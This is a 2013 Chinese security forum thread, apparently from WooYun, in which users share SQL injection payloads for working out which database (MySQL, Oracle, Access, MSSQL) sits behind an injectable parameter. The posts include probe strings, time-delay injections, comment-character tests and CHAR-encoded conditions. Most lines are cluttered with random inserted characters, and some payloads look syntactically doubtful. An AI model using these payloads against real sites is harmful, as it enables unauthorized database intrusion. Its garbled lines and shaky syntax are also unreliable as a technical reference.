一个注射点如何最快速确认是什么类型数据库, [2 X0 f3 A8 b8 N5 e& b) W7 H
xsser (十根阳具有长短!!) | 2013-02-05 12:36
+ m3 O: M* B- ~8 o假设这么一个注射点:
: \$ R$ T1 v5 @, d- u' a1 B* m3 ashow.html?id=2 F9 F) Z6 Z9 @& j7 w. a. e
mysql:id=2 and version()>0
, t4 o- u) J; }' s; _7 voracle:id=2 and '1'||'1'='11# S7 i* L0 Z2 d3 [! s5 W$ d* P
其他的欢迎补充( J! ^$ G9 H8 a2 k+ _& `- Q' o
1#* u5 X, w; c. w5 I. \
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
% }, j! N4 V. B6 f2 X" wAccess:3 N- ?/ \: J5 V! ~* k$ u$ }
aNd aSc(cHr(97))=97
5 n0 d$ Y0 A) O; t7 m( E6 Mand exists(select id from MSysAccessObjects)
5 M5 [' f$ W: d; @9 z8 BSQL Server:. K! N# l4 j! } O- s0 z4 K. u
and exists(select id from sysobjects)+ n4 P# R9 Y3 q
and length(user)>0
3 N. S+ V- m0 RMySQL:3 E' J+ [; ^: c n. I- ]" @9 Z
and length(user())>0
6 v# S! ^; j; m8 A$ J2#
# H4 R5 @) J2 f/ N0 ?xsser (十根阳具有长短!!) | 2013-02-05 12:48
) C4 \6 d" |; A7 S! S@upload 如果这些都不是呢…1 m" K% d& d2 k* }7 o
3#7 Q: s9 C0 Z8 |& Z# u+ Z. b
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03' b2 D: k! ]; u B
@xsser 不快速的,延时注入# N* r0 D2 d4 ?5 I& J$ c. g4 V+ G
不知道这样写对不对. _( M: R( l# `4 ~" Z
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'( E$ p, Y) q/ w, ?
mysql:id=2 and select benchmark(1e8,current_date());
8 N9 v2 j0 R7 y. M ^# ^4#
" E+ Q; y" {3 Y- eupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
7 g' Z- c/ y q# n l$ M最快的貌似是看报错信息
/ S- Z2 G1 {* s3 |; ^. voracle error
* b, B) T8 I X9 s7 Z6 L+ s% |- Cmssql error
) R# b' r6 v$ y1 e0 i4 Q; x, imysql error2 i6 V8 b- O! a! A
5#- H5 _0 r$ Y. g3 e- b" X
Nimda (你们都是坏银~) | 2013-02-05 13:14
% ^4 M) m/ n2 {小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
- t0 Y1 d2 A( b% @7 M6#
8 {0 R0 X2 F9 i* fupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21# h$ M/ B5 o/ O2 D: g% ]2 o
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
! P& z' y+ ]4 L; N“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
$ R$ G' C' q6 E2 H) R“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
+ I0 R2 c }1 O+ \, N4 u. o, q7#
0 G/ _/ c* L" D% h/ ?; h* n W_Evil (HackEnd) | 2013-02-05 13:33' n* m) d! f& o4 c# z
PostgreSQL
; z$ ~4 B* d4 U4 [/ p, ^/ _+ N8#/ u# v2 t1 S3 y# Y6 [# M
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
) i0 \) i; |) ]' J6 y- p) a- n. Q/ ]切换编码 and 1=1
, Y6 B; w1 z! x! ~& Ooracle:
) F3 l/ X+ x# c5 w+ X2 h4 e) PCHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)" m2 m# _: W/ b$ P
mssql:
" r' y9 c" T" hCHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
$ B/ W$ N4 N# ^' e7 p/ C0 Imysql:/ U4 U2 v% N% C$ d/ n! w$ T
CHAR(97, 110, 100, 32, 49, 61, 49)
* K4 Q1 `1 @( ?* n5 ~9#
: e; _' ]/ ^- G7 E* \( D7 x. Qxsser (十根阳具有长短!!) | 2013-02-05 14:31
! ^1 U- R/ X Y, W" L3 n@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
; l$ v' y* P( R% k. z4 H- a, Y7 Z10#* ?* W0 R7 U! Y3 M9 K
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
% [: |. E- y' L% s5 B- y@xsser 是奇葩数据库类型的么?( n3 G3 H% |# t7 Z5 M
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:0 S) @7 `* \0 C. n
1.是否可以使用特定的函数来判断,该数据库特有的2 `# h0 ~- q2 Y: R, W. _+ Y
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
2 g; h2 S. \; I0 x; G% }! i3.是否可以编码查询) @7 o1 B1 d) a
4.是否显可以利用错信息. t6 k5 B# t+ g8 Z/ o0 z
5.是否存在数据库某些特性辅助判断6 {1 h f% Q; d% F
个人见解
1 B, u5 ?7 n4 b11#
6 w9 w, R& @4 e9 M8 g( O小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55! m8 z/ C2 j* n1 Z1 S
已收藏,mssql可以直接看到错误提示的吧~- {7 b. q- U' i( {1 Z* G
12#7 R4 Y8 b. I1 d; C o1 w1 A
Passer_by | 2013-02-05 15:09. Q9 E* D. B+ P5 W0 p
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
, b# D0 l& V- H* a7 wfrom:http://zone.wooyun.org/content/260 |